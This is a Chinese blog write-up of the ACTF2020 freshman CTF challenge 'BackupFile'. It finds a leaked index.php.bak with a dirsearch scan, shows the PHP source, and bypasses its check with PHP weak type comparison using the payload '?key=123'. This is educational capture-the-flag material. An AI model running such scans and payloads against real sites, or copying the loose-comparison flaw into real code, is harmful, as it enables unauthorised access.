




[ACTF2020 新生赛]BackupFile

原创

夜幕下的灯火阑珊  于 2020-05-13 11:03:00 发布  1115  收藏 1

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](https://creativecommons.org/licenses/by-sa/4.0/) 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/qq_41628669/article/details/106133103

版权

知识点

- bak源码泄露
- php弱类型

题目提示源码泄露

dirsearch扫一下后台

```
#windows下装了python2和python3的情况  
py -3 dirsearch.py -u url -e *
```

得到index.php.bak，删去bak，打开index.php

```
<?php  
include_once "flag.php";  
  
if(isset($_GET['key'])) {  
    $key = $_GET['key'];  
    if(!is_numeric($key)) {  
        exit("Just num!");  
    }  
    $key = intval($key);  
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";  
    if($key == $str) {  
        echo $flag;  
    }  
}  
else {  
    echo "Try to find out source file!";  
}
```

php的==在比较时字符串和数字进行比较时，会先将字符串转换成数字再进行比较

payload

```
?key=123
```